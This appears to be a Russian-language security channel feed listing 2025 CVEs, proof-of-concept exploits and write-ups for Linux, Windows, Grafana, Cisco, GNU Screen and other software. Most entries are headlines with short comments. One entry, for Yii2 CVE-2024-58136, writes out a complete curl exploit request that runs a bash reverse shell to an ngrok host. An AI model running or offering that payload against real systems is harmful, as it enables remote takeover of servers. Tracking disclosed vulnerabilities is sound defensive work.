PoC and write-up for RCE in @fastify/view via EJS raw template injection
*
Link

Хорошо, но подозрительно !
*
CLion Is Now FREE

SonicWall == SonicBOOM
*
PreAuth RCE Chain PoC
*
writeUP

CVE-2025-37752
*
Two Bytes Of Madness: Pwning The Linux Kernel With A 0x0000 Written 262636 Bytes Out-Of-Bounds

#linux #kernel

F5 BIG-IP
*
Command Injection in Appliance mode
0x_

GNU Screen !
*
CVE-2025-46802 - перехват устройства TTY
CVE-2025-46803 - выставление по умолчанию прав 0622 на устройство PTY, допускающих запись любым пользователям. Проблема проявляются только в ветке screen 5.0.
CVE-2025-46804 - утечка информации о наличии файлов и каталогов в закрытых каталогах (SCREENDIR)
CVE-2025-46805 - состояние гонки при отправке сигналов SIGCONT и SIGHUP

Хоть в arch, хоть в ubuntu/debian, хоть freebsd

#multiplex

Фанаты всяких девайсов будут в восторге
*
ESP32-DIV - v1.1.0

ЭТО круто !!!
xida крут !
читаем

MDT shares password

CVE-2025-21756: Attack of the Vsock
*
Linux Kernel Exploitation
*
read
*
exploit

Grafana CVE-2025-4123: XSS and Full-Read SSRF
*
Script to exploit

ожидаемо

C2 Redirectors: Advanced Infrastructure for Modern Red Team Operations
*
read

Отдельно порадовало

iptables -A INPUT -m geoip --src-cc RU,CN -j DROP

Windows Server 2025 dMSA Vulnerability
*
about
*
toolZ

CVE-2024–58136 — RCE PoC
*
Yii2 Framework

curl -k -X POST https://sub.domain.tld/index.php \
  -H "Content-Type: application/json" \
  -d '{"as hack": {"__class": "GuzzleHttp\\\\Psr7\\\\FnStream", "class": "yii\\\\behaviors\\\\AttributeBehavior", "__construct()": [[]], "_fn_close": "system", "stream": "bash -c '\''bash -i >& /dev/tcp/x.tcp.xx.ngrok.io/xxxx 0>&1'\''"}}'

CVE-2025-48827
*
Unauthenticated API Access in vBulletin
*
WriteUP
*
POC

Linux kernel ctf
Подломили linux packet scheduler
*
commit

CVE-2025-30397
*
Windows-Server-2025 JScript-RCE-Use-After-Free
*
exploit

CVE-2025-5287
*
WordPress Likes and Dislikes - SQL Injection
*
sploit

LOLz
*
CVE-2025-20188
Cisco IOS XE WLC - Arbitrary File Upload Vulnerability
*
read

Прям очень хорошо !
*
Root Shell on Credit Card Terminal
*
Пройдемте